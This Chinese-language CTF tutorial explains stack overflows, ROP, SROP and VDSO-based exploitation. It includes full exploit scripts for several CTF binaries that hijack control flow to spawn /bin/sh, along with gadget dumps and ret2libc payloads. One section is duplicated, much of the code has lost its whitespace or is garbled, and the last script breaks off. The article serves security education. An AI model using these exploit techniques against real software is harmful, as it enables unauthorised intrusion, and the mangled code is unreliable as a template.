2017-04-05 09:33:04
来源:安全客 作者:beswing
阅读:670次
点赞(0)
收藏
作者:beswing
预估稿费:400RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
栈与系统栈
栈:一种先进后出的数据结构。常见操作有两种,进栈(PUSH) 和弹栈(POP),用于标识栈的属性有两个,一个是栈顶(TOP),一个是栈底(BASE)
程序中的栈:
内存中的一块区域,用栈的结构来管理,从高地址向低地址增长
寄存器esp代表栈顶(即最低栈地址)
栈操作
压栈(入栈)push sth-> [esp]=sth,esp=esp-4 弹栈(出栈)pop sth-> sth=[esp],esp=esp+4栈用于保存函数调用信息和局部变量
函数调用
如何通过系统栈进行函数的调用和递归
intfun_b(x,y){ intvar_b1,var_b2; rutrunvar_b1var_b2; } intfun_a(a,b){ intvar_a; var_a=fun_b(ab) } intmain(intargc,chrargv,chrenvp) { intvar_main; var_main=func_a{5,5}; rutrunvar_main; }函数的分布应当是:
当CPU调用func_A函数,会从main函数对应的机器指令跳转到func_A,取值在执行,执行结束后,需要返回又会进行跳转.......以此类似的跳转过程。
函数调用指令: call ret
大致过程:
参数入栈
返回地址入栈
代码区块跳转
栈帧调整:
保存当前栈帧的状态值,为了后面恢复本栈帧时使用(EBP入栈);
将当前的栈帧切换到新栈帧(ESP值装入EBP,更新栈帧底部)
给新栈帧分配空间(ESP减去所需要空间的大小,抬高栈顶)
相关指令:
Call func -> push pc, jmp func
Leave ->mov esp,ebp, pop ebp
Ret -> pop pc
函数约定:
*__stdcall,__cdecl,__fastcall,__thiscall,__nakedcall,__pascal以 __fastcall为例子:
push参数3#参数由右向左入栈 push参数2 push参数1 call函数地址#push当前指令位置,跳转到所调用函数的入口地址 pushebp#保存旧栈帧的底部 movebp,esp#设置新栈帧底部 subesp,xxx#设置新栈帧顶部参数传参:取决于调用约定,一般情况下:
X86 从右向左入栈,X64 优先寄存器,参数过多时才入栈
寄存器
重要的寄存器:rsp/esp, pc, rbp/ebp, rax/eax, rdi, rsi, rdx, rcx
ESP: 栈指针寄存器,内存存放着一个指针,指针指向系统栈最上面一个栈帧的底部
EBP:基址指针寄存器,存放着一个指针,指针指向系统栈最上面的一个栈帧底部
堆栈溢出原理
通俗的讲,栈溢出的原理就是不顾堆栈中分配的局部数据块大小,向该数据快写入了过多的数据,导致数据越界,结果覆盖来看老的堆栈数据。
栈溢出的保护机制
栈上的数据无法被当作指令来执行
数据执行保护(NX/DEP)
绕过方法ROP
难以找到想要找的地址
地址空间布局随机化(ASLR)
绕过方法:infoleak 、retdlresolve 、ROP
检测栈数据是否被修改
Stack Canary/ Cookie
绕过方法: infoleak
如今 计算机保护 基本上都是NX+Stack Canary +ASLR
CTF 常用套路: 栈溢出的利用方法
现代栈溢出利用技术基础:ROP
利用signal机制的ROP技术:SROP
没有binary怎么办:BROP 、dump bin
劫持栈指针:stack pivot
利用动态链接绕过ASLR:ret2dl resolve、fake linkmap
利用地址低12bit绕过ASLR:Partial Overwrite
绕过stack canary:改写指针与局部变量、leak canary、overwrite canary
溢出位数不够怎么办:覆盖ebp,Partial Overwrite
现代栈溢出利用技术基础:ROP
讲道理学习ROP ,看蒸米的文章是最实在的。蒸米的一步一步学ROP简直是经典篇目。
ROP的基础学习可以看我翻译的一篇文章
ROP题目分析
承接上一个篇目,这里继续讲ROP的一些题目分析。讲真的,我这里基本上的题目以及攻击方式都来自于Atum师傅在X-MAN的PPT。
CTF中ROP的常规套路
第一次触发漏洞,通过ROP泄漏libc的address(如puts_got),计算system地址,然后返回到一个可以重现触发漏洞的位置(如main),再次触发漏洞,通过ROP调用system(“/bin/sh”)
直接execve(“/bin/sh”, [“/bin/sh”], NULL),通常在静态链接时比较常用三个练习:
Defcon 2015 Qualifier:R0pbaby
AliCTF 2016:vss
PlaidCTF 2013: ropasaurusrex
相关题目我们可以在CTFs上找到。
Defcon 2015 Qualifier:R0pbaby
我们拿到题目,可以先对题目进行检查,可先看看题目开启的保护
gdb-peda$checksec CANARY:disabled FORTIFY:ENABLED NX:ENABLED PIE:disabled RELRO:disabledgdb-peda 自带的 checksec 有检测程序是否开启保护,以及所开启的保护。我们可以看到,R0pbaby 所开启的保护有FORTIFY以及NX,这里我们主要所收到的限制是栈上写入的数据不可执行。
以及,程序可以知道是64位的,它的传参优先由寄存器完成。
接着,我们应该了解程序的流程,以及找到程序的漏洞,以及思考其利用方式。
尝试运行程序
我们去尝试运行,摸清了基本上的程序的功能。
功能1,可以获得libc的基址
功能2,可以获得函数的地址
功能3,输入的地方,感觉这个地方可能存在漏洞。
紧接着,我们可以用IDA 分析程序了。
发现一个函数的不适当应用,拷贝的过程中没有判断大小,可能造成缓冲区溢出。
函数原型
voidmemcpy(voiddest,constvoid*src,size_tn);由src指向地址为起始地址的连续n个字节的数据复制到以destin指向地址为起始地址的空间内。
savedregs是一个IDA关键字,我们可以看到 保存的堆栈帧指针和函数返回地址:在IDA中,我们可以直接单击它。
buf的大小应该是8没错,之后可能造成缓冲区溢出,那么我的解题思路大概是如下:
我们需要找到一个gadget RDI 用来起shell
其次我们需要找到 "bin/sh"的地址
最后,我们需要找到system函数的地址
完成上面三个步骤,我们就可以去构造我们的ROP链来getshell。
如何找到 pop rdi
我们需要找到:
poprdi ret如此的指令,
我们可以通过简单的objdump来寻找简单的gadget
wings@sw:~/桌面/Rop$pythonROPgadget.py--binary/lib/x86_64-linux-gnu/libc.so.6--only"pop|ret" Gadgetsinformation 0x00000000000206c1:poprbp;popr12;popr13;ret 0x00000000000b5a23:poprbp;popr12;popr14;ret 0x000000000001fb11:poprbp;popr12;ret 0x000000000012bf16:poprbp;popr13;popr14;ret 0x0000000000020252:poprbp;popr14;popr15;poprbp;ret 0x00000000000210fe:poprbp;popr14;popr15;ret 0x00000000000ccb05:poprbp;popr14;poprbp;ret 0x00000000000202e6:poprbp;popr14;ret 0x000000000006d128:poprbp;poprbp;ret 0x0000000000048438:poprbp;poprbx;ret 0x000000000001f930:poprbp;ret 0x00000000000ccb01:poprbx;popr12;popr13;popr14;poprbp;ret 0x000000000006d124:poprbx;popr12;popr13;poprbp;ret 0x00000000000398c5:poprbx;popr12;poprbp;ret 0x00000000000202e1:poprbx;poprbp;popr12;popr13;popr14;ret 0x00000000000206c0:poprbx;poprbp;popr12;popr13;ret 0x00000000000b5a22:poprbx;poprbp;popr12;popr14;ret 0x000000000001fb10:poprbx;poprbp;popr12;ret 0x000000000012bf15:poprbx;poprbp;popr13;popr14;ret 0x000000000001f92f:poprbx;poprbp;ret 0x000000000002a69a:poprbx;ret 0x0000000000001b18:poprbx;ret0x2a63 0x0000000000185240:poprbx;ret0x6f9 0x000000000013c01f:poprcx;poprbx;poprbp;popr12;popr13;popr14;ret 0x000000000010134b:poprcx;poprbx;poprbp;popr12;ret 0x00000000000e9aba:poprcx;poprbx;ret 0x0000000000001b17:poprcx;poprbx;ret0x2a63 0x00000000000fc3e2:poprcx;ret 0x0000000000020256:poprdi;poprbp;ret 0x0000000000021102:poprdi;ret因为是本地测试,所以我先查看自己本地的libc.so.6
确认libc.so.6
wings@sw:~/桌面/Rop$lddr0pbaby linux-vdso.so.1=>(0x00007ffff7ffd000) libdl.so.2=>/lib/x86_64-linux-gnu/libdl.so.2(0x00007ffff7bd9000) libc.so.6=>/lib/x86_64-linux-gnu/libc.so.6(0x00007ffff7810000) /lib64/ld-linux-x86-64.so.2(0x0000555555554000) wings@sw:~/桌面/Rop$strings-a-tx/lib/x86_64-linux-gnu/libc.so.6|grep"/bin/sh" 18c177/bin/sh
可以知道 偏移是0x18c177
至于sytem函数,程序的第二个功能已经给我们了,至此,我们可以开始构造我们的exp了.
system=0x00007FFFF784F390#get_libc_base() rdi_gadget_offset=0x21102 bin_sh_offset=0x18c177 system_offset=0x45390 frompwnimport* debug=1 ifdebug==1: io=process("./r0pbaby") else: io=remote("127.0.0.1",10002) #db.attach(io) system=0x00007FFFF784F390#get_libc_base() rdi_gadget_offset=0x21102 bin_sh_offset=0x18c177 system_offset=0x45390 libc_base=system-system_offset#systemaddr-system_offset=libc_base print"[+]libcbase:[%x]"%libc_base rdi_gadget_addr=libc_base+rdi_gadget_offset print"[+]RDIgadgetaddr:[%x]"%rdi_gadget_addr bin_sh_addr=libc_base+bin_sh_offset print"[+]\"/bin/sh\"addr:[%x]"%bin_sh_addr system_addr=0x00007FFFF784F390#get_libc_func_addr(h,"system") print"[+]systemaddr:[%x]"%system_addr payload="A"*8 payload+=p64(rdi_gadget_addr) payload+=p64(bin_sh_addr) payload+=p64(system_addr) io.recv(1024) io.sendline("3") io.recv(1024) io.send("%d\n"%(len(payload)+1)) io.sendline(payload) io.sendline("4") io.interactive()至此 一个简单的64位程序 ROP Pwn题完成!!撒花 撒花~
PlaidCTF 2013: ropasaurusrex
上一个程序简单的调用 system + "bin/sh" 通过寄存器 gadget "pop rdi;ret "传参起shell,接着我们来完成第二个pwn,第二个pwn的特点是,我们需要去info leak 得到信息,然后计算system 的地址。
依旧是老三套,我们先分析一下程序开启的保护。
gdb-peda$checksec CANARY:disabled FORTIFY:disabled NX:ENABLED PIE:disabled RELRO:disabled只开了NX 其他的都没开,我们可以应用ret2libc 的攻击方式来获取shell,所以我们得通过比如像write、puts、printf类似的函数做info leak用来计算system在内存中的地址。我们用IDA开,一边分析题目流程,一边找题目漏洞。
int__cdeclmain() { sub_80483F4(); returnwrite(1,"WIN\n",4u); } sub_80483F4 ssize_tsub_80483F4() { charbuf;//[sp+10h][bp-88h]@1 returnread(0,&buf,0x100u); }很清晰,我们可以看到题目流程非常简单,就读取一定字节,然后直接打印WIN\n。紧接着,我们可以看到read函数被错误使用,
.text:080483F2;--------------------------------------------------------------------------- .text:080483F3align4 .text:080483F4 .text:080483F4;===============SUBROUTINE======================================= .text:080483F4 .text:080483F4;Attributes:bp-basedframe .text:080483F4 .text:080483F4sub_80483F4procnear;CODEXREF:main+9p .text:080483F4 .text:080483F4buf=byteptr-88h .text:080483F4 .text:080483F4pushebp .text:080483F5movebp,esp .text:080483F7subesp,98h .text:080483FDmovdwordptr[esp+8],100h;nbytes .text:08048405leaeax,[ebp+buf] .text:0804840Bmov[esp+4],eax;buf .text:0804840Fmovdwordptr[esp],0;fd .text:08048416call_read .text:0804841Bleave .text:0804841Cretn .text:0804841Csub_80483F4endp .text:0804841C .text:0804841buf大小只有0x88,但是却允许被读入0x100的字节大小,这明显可以造成缓冲区溢出。
wings@sw:~/桌面/Rop$file./ropasaurusrex ./ropasaurusrex:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),dynamicallylinked,interpreter/lib/ld-linux.so.2,forGNU/Linux2.6.18,BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092,stripped我们还知道的一点是,程序是32位,所以我们不需要像第一个题那样去找寄存器 gadget。
在main函数中有一个write函数,我们可以通过rop,来进行信息泄漏。所以攻击思大概是:
构造payload leak 内存中的一个函数地址,比如 read()
计算libc base
构造payload get shell
frompwnimport* debug=1 elf=ELF('./ropasaurusrex') ifdebug==1: libc=ELF('/lib/i386-linux-gnu/libc.so.6') else: libc=ELF('/lib/i386-linux-gnu/libc.so.6') bof=0x80483f4#thevulnerablefunction buffer_len=0x88 context.log_level='debug' #p=remote(args.host,args.port) #p=process('./ropasaurusrex') p=remote('127.0.0.1',10002) payload='' payload+='A'*buffer_len payload+='AAAA'#savedebp payload+=p32(elf.symbols['write']) payload+=p32(bof) payload+=p32(1)#stdout payload+=p32(elf.got['read']) payload+=p32(4)#len p.send(payload) resp=p.recvn(4) read=u32(resp) libc_base=read-libc.symbols['read'] payload='' payload+='A'*buffer_len payload+='AAAA'#savedebp payload+=p32(libc_base+libc.symbols['system']) payload+='AAAA'#cont payload+=p32(libc_base+next(libc.search('/bin/sh'))) p.send(payload) p.sendline('ls') p.interactive()至此 一个简单的64位程序 ROP Pwn题完成!!撒花 撒花~
PlaidCTF 2013: ropasaurusrex
上一个程序简单的调用 system + "bin/sh" 通过寄存器 gadget "pop rdi;ret "传参起shell,接着我们来完成第二个pwn,第二个pwn的特点是,我们需要去info leak 得到信息,然后计算system 的地址。
依旧是老三套,我们先分析一下程序开启的保护。
gdb-peda$checksec CANARY:disabled FORTIFY:disabled NX:ENABLED PIE:disabled RELRO:disabled只开了NX 其他的都没开,我们可以应用ret2libc 的攻击方式来获取shell,所以我们得通过比如像write、puts、printf类似的函数做info leak用来计算system在内存中的地址。我们用IDA开,一边分析题目流程,一边找题目漏洞。
int__cdeclmain() { sub_80483F4(); returnwrite(1,"WIN\n",4u); } sub_80483F4 ssize_tsub_80483F4() { charbuf;//[sp+10h][bp-88h]@1 returnread(0,&buf,0x100u); }很清晰,我们可以看到题目流程非常简单,就读取一定字节,然后直接打印WIN\n。紧接着,我们可以看到read函数被错误使用,
.text:080483F2;--------------------------------------------------------------------------- .text:080483F3align4 .text:080483F4 .text:080483F4;===============SUBROUTINE======================================= .text:080483F4 .text:080483F4;Attributes:bp-basedframe .text:080483F4 .text:080483F4sub_80483F4procnear;CODEXREF:main+9p .text:080483F4 .text:080483F4buf=byteptr-88h .text:080483F4 .text:080483F4pushebp .text:080483F5movebp,esp .text:080483F7subesp,98h .text:080483FDmovdwordptr[esp+8],100h;nbytes .text:08048405leaeax,[ebp+buf] .text:0804840Bmov[esp+4],eax;buf .text:0804840Fmovdwordptr[esp],0;fd .text:08048416call_read .text:0804841Bleave .text:0804841Cretn .text:0804841Csub_80483F4endp .text:0804841C .text:0804841buf大小只有0x88,但是却允许被读入0x100的字节大小,这明显可以造成缓冲区溢出。
wings@sw:~/桌面/Rop$file./ropasaurusrex ./ropasaurusrex:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),dynamicallylinked,interpreter/lib/ld-linux.so.2,forGNU/Linux2.6.18,BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092,stripped我们还知道的一点是,程序是32位,所以我们不需要像第一个题那样去找寄存器 gadget。
在main函数中有一个write函数,我们可以通过rop,来进行信息泄漏。所以攻击思大概是:
构造payload leak 内存中的一个函数地址,比如 read()
计算libc base构造payload get shell
frompwnimport* debug=1 elf=ELF('./ropasaurusrex') ifdebug==1: libc=ELF('/lib/i386-linux-gnu/libc.so.6') else: libc=ELF('/lib/i386-linux-gnu/libc.so.6') bof=0x80483f4#thevulnerablefunction buffer_len=0x88 context.log_level='debug' #p=remote(args.host,args.port) #p=process('./ropasaurusrex') p=remote('127.0.0.1',10002) payload='' payload+='A'*buffer_len payload+='AAAA'#savedebp payload+=p32(elf.symbols['write']) payload+=p32(bof) payload+=p32(1)#stdout payload+=p32(elf.got['read']) payload+=p32(4)#len p.send(payload) resp=p.recvn(4) read=u32(resp) libc_base=read-libc.symbols['read'] payload='' payload+='A'*buffer_len payload+='AAAA'#savedebp payload+=p32(libc_base+libc.symbols['system']) payload+='AAAA'#cont payload+=p32(libc_base+next(libc.search('/bin/sh'))) p.send(payload) p.sendline('ls') p.interactive()小结一下:
read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)
上面的内容来自蒸米 -一步一步 rop
做了两个简单的rop 第一个的64位,第二个是32位,基本上 也能体会到两者的区别了,一者是寄存器传参,一者是栈传参。至于AliCTF的vsvs ,我没找到Bin程序,所以这里就不单独分析了。我们看看别人的wp,例如链接https://segmentfault.com/a/1190000005718685
下一个内容准备学习 VROP,一种利用signal机制的ROP技术。
SROP
最近出现SROP的题目,就是XCTF -NJCTF中的 Pwn300-233
当然,虽然出题人是这么出的,但是也还是有非预期做法的。比如Joker师傅的针对这个题目的强行解决方案,强行猜libc base 然后暴力跑,用ROP 解决。
那么 SROP是什么,与普通的ROP有什么区别呢?我们可以开始学习了。
什么是SROP
SROP: Sigreturn Oriented Programming 系统Signal Dispatch之前会将所有寄存器压入栈,然后调用signal handler,signal handler返回时会将栈的内容还原到寄存器。 如果事先填充栈,然后直接调用signal handler,那在返回的时候就可以控制寄存器的值。
首先,我们得先了解一下signal的调用流程,那么我就能大概了解SROP的利用原理。
正如mctrain,在他的《Sigreturn Oriented Programming (SROP) Attack攻击原理》文章里所提到的,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。
在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。
那么,我们是如何利用这个系统调用来做一些不可告人的事情的呢?
在singnal中可以说是,有两个层次,一个是用户,一个是内核层次,我们也可以将这个过程简单的看作。
Usercode singnalhandler sigreturn如果在mctrain文章中看懂了,signal的调用流程,那么我们就可以讲讲,如何去利用攻击,即我们可以讲讲他的攻击流程。
攻击流程
注: 以下图片内容均来自https://www.slideshare.net/AngelBoy1/sigreturn-ori 的PDF
当内核发起signal
这个时候,我们可以看到栈还并未没push数据,以及ip仍然在User code上。
将数据push到栈中时将sigreturn syscall的位置 push 进栈
紧接着程序流程跳转至signal handler
从signal handler 返回
然后流程又跳转至 sigreturn code
执行 singreturn syscall
stack 即栈上的内容全部 pop 回register ,流程又重新回到 user code
至此,我们基本完成了攻击,我们可以大概总结下,
我们需要的攻击条件第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
第三,需要知道syscall指令在内存中的地址;
第四,需要知道sigreturn系统调用的内存地址。
当然,更详细的,如利用SROP构造系统调用串(System call chains)依旧可以从mctrain,在他的《Sigreturn Oriented Programming (SROP) Attack攻击原理》文章找到,我们这里的重点并不是SROP,而是做SROP CTF题。
SROP构造,及攻击流程概括的来讲就是:
伪造sigcontext 结构,push进stack中
设置ret address在sigreturn syscall的gadget
将signal fram中的rip(eip)设置在syscall(int 0x80)
当sigreturn返回时,就可以执行syscall
需要说明的是sigretrun gadget的寻找是有前人总结的
x86
vdso 正常的 syscall handler也会使用的
x64
kernel <3.3
vsyscall (0xffffffff600000) <= 位置一直固定
kernel >= 3.3
libc <= 普通的syscall hander也会使用
VDSO
了解了一下SROP,我们接下来可以再来学习一下什么是VDSO,以及如何直接利用VDSO做ROP
VDSO(Virtual Dynamically-linked Shared Object)是个很有意思的东西, 它将内核态的调用映射到用户态的地址空间中, 使得调用开销更小, 路径更好.
开销更小比较容易理解, 那么路径更好指的是什么呢? 拿x86下的系统调用举例, 传统的int 0x80有点慢, Intel和AMD分别实现了sysenter, sysexit和syscall, sysret, 即所谓的快速系统调用指令, 使用它们更快, 但是也带来了兼容性的问题. 于是Linux实现了vsyscall, 程序统一调用vsyscall, 具体的选择由内核来决定. 而vsyscall的实现就在VDSO中.
Linux(kernel 2.6 or upper)环境下执行ldd /bin/sh, 会发现有个名字叫linux-vdso.so.1(老点的版本是linux-gate.so.1)的动态文件, 而系统中却找不到它, 它就是VDSO. 例如:
wings@sw:~$ldd/bin/sh linux-vdso.so.1=>(0x00007ffee4bd1000) libc.so.6=>/lib/x86_64-linux-gnu/libc.so.6(0x00007f5e19e56000) /lib64/ld-linux-x86-64.so.2(0x0000557ef5001000) wings@sw:~$为什么要用VDSO 来做ROP?
在X86系统中,传统的system call:int 0x80并不是由很好的效果的,因此在intel 新型的cpu提供了新的syscall指令。
sysenter
sysexit
(Linux kernel 》= 2.6后的版本支持新型syscall机制)
VDSI可以降低在传统的 int 0x80的overhead 以及提供了sigreturn 方便在signal handler结束后返回到user code
如何利用 VDSO 做ROP
我们需要知道 sysenter其参数传递方式和int 0x80是一样的,但是我们需要事前自己做好funcion prolog
pushebp;movebp,sp以及需要一个 “A good gadgaet for stack pivot”,因为如果没做function prolog可以利用ebp去改变stack位置
Retrun to vDSO
如何找到vdso 地址?
基本上里利用方法就是:
要么暴力解决
利用 信息泄露 即我们所受的information leak
使用ld.so _libc_stack_end找到 stack其实位置,计算ELF Auxiliary vector offset 并从中取出AT_SYSINFO_EHDR
使用ld.so中的_rtld_global_ro的某个offset也有vdso的位置。
我们需要尤其注意的是在开了ASLR的情况下,VDSO的利用是有一定优势的
在x86环境下:
只有一个字节是随机的,所以我们可以很容易暴力解决
在x64环境下
在开启了pie的情形 有 11字节是随机的 例如:CVE-2014-9585
但是在linux kernel 3.182.2版本之后,这个已经增加到了18个字节的随机
重头戏来了:Defcon 2015 Qualifier fuckup
题目可以在这里下载: this
我们照旧来分析程序:
总体上来说程序应该是开启了ASLR 的,每次
用户执行命令时,FUCKUP会根据类似于WELL512的生成算法生成的随机数,改变二进制映射的存储器的基址。
当我们运行程序时,可以看到有一个菜单
$./fuckup WelcometoFullyUnguessableConvolutedKinetogenicUserspacePseudoransomization,thenewandimprovedASLR. ThisappistohelpprovethebenefitsofF.U.C.K.U.P. MainMenu --------- 1.Displayinfo 2.Changerandom 3.Viewstateinfo 4.Teststacksmash ------- 0.Quit当运行函数,以及反编译程序之后,我们可以了解程序功能。
当我们选择功能2的时候,“App moved to new random location”,text段和stack会被修改,重新指向新的内存地址
当我们选择3的时候,会告诉我们最后一个随机数(其当前determienstextbase)再次随机化text。这可以用于PRNG的预测
选项4:
Inputbufferis10bytesinsize.Accepting100bytesofdata. Thiswillcrashhoweverthelocationofthestackandbinaryareunknowntostopcodeexecution我们在功能3找到一个mmap 地址映射函数:
change_random(sub_80481A6) do { seedf=randf_state_(a1)*4294967295.0; seedl=(signed__int64)seedf; expect=(void*)(seedl&0xFFFFF000); actual=mmap(v3,0x804CA6C,v2,a1,a2,0); } while((seedl&0xFFFFF000)!=actual);所以寻常的思路,我们基本是做不了了
大概是这样的,做了不一样的地址映射,所以其实这个题目还是要回归于VDSO以及SROP。
思路如下:
32位下vdso 只有1字节是随机的,我们这里可以brute force然后利用其gadget
可以直接利用overflow return address,只有100个字节
先利用vdso的gadget做出read sys call 并加大input的大小
read 读入的内容放到tls
tls位置在vdso前一个page
使用sysenter 将stack 换到tls段
然后,我们在第二次输入的时候 可以将 /bin/sh 放入到tls段,这里要注意但是,这个时候tls已经在栈了
紧接着,我们sigreturn gadget 以及 fack signal frame一并放进,然后可以直接execve执行 /bin/sh
进行循环,知道成功getshell
最后的exp,我没能搞定,这里可以参考 hastebin.com的脚本
#!/usr/bin/envpython3 defread_until(socket,x): data=b"" whileTrue: data+=socket.recv(4096) ifxindata: break ifnotdata: raiseRuntimeError("nodataafter:%s"%data) returndata defskip(socket,x): print(read_until(target,x).decode("utf8")) print("=======") if__name__=='__main__': importos importsys importtime importstruct importsocket importargparse parser=argparse.ArgumentParser() parser.add_argument("host") parser.add_argument("port",type=int) args=parser.parse_args() target=socket.socket() target.connect((args.host,args.port)) input("Areyouready?Thisisthetimetoattachgdbandstuff.") skip(target,b"Quit") target.send(b"4\n") skip(target,b"execution") #Wepartiallyoverwritethereturnaddress,weneedtocomeup #withvalid-in-the-futurevaluesforebxandebp. payload=b"a"*14 payload+=struct.pack("<I",0x3e1b7a6c)#ebx/computed payload+=struct.pack("<I",0x3e1b8000)#ebp#mustonlybevalidr/w payload+=b"\x14"#re-triggerinitwithknown/constantrandom_seed,providedbyesi. #Makesurewedon'tsendtoomuchatonce. target.send(payload) time.sleep(1) todo=100-len(payload) whiletodo>0: sending=min(10,todo) target.send(b"a"*(sending-1)+b"\n") time.sleep(0.2) todo=todo-sending print(".",end="",flush=True) print() print("Sentfirststage,waitingformenu.") skip(target,b"Quit") target.send(b"4\n") skip(target,b"execution") print("Sendingexploit.") defget_addr(addr,name): """Getruntimeaddrfromidaaddr.""" ida_base=0x8048000 #Itseemsunderxinetdthereisonemorecalltoprng(). #Notsurewhythisisbutwejusthavetocheckwhat #valuewillbegeneratedandusethat. #run_base=0x39d54000#localnoxinetd run_base=0xfe97c000#localwithxinetd ret=addr+(run_base-ida_base) print("%swillbeat%#.8x"%(name,ret)) returnret defpack_addr(addr,name): returnstruct.pack("<I",get_addr(addr,name)) payload=b"a"*14 payload+=struct.pack("<I",0x42424242)#base payload+=struct.pack("<I",0x42424242)#ebp #ThisissowecanironicallyexpectaF.U.C.K.U.P. payload+=pack_addr(0x080483C0,"welcome") #Setupsyscall.ebx,ecx,edx.eax=11 payload+=pack_addr(0x0804908f,"popeax;popebx;popesi;ret") payload+=struct.pack("<I",11)#execv payload+=struct.pack("<I",0x22222222) payload+=struct.pack("<I",0x22222222) payload+=pack_addr(0x0804961a,"popedx;popecx;popebx;ret") payload+=pack_addr(0x080485f9,"NULL")#environ payload+=pack_addr(0x080485f9,"NULL")#argv payload+=struct.pack("<I",0x22222222) #Nowweusethisneatgadget,/bin/shisrightafterus. payload+=pack_addr(0x0804875b,"leaebx,[esp+4];int0x80") payload+=pack_addr(0x08048a11,"pop;pop;ret") payload+=b"/bin/sh\x00" payload+=struct.pack("<I",0x44444444)#eip,toolazyforcleanexit. payload=payload.ljust(100,b"\xcc") #Ok,sanitycheckandgoodtogo. assertlen(payload)<=100,"payloadtoolarge,%dbytes."%len(payload) target.send(payload) skip(target,b"F.U.C.K.U.P.") target.set_inheritable(True) print("Youshouldbeabletotypestuffnow.") os.system("socatSTDIOFD:%d"%target.fil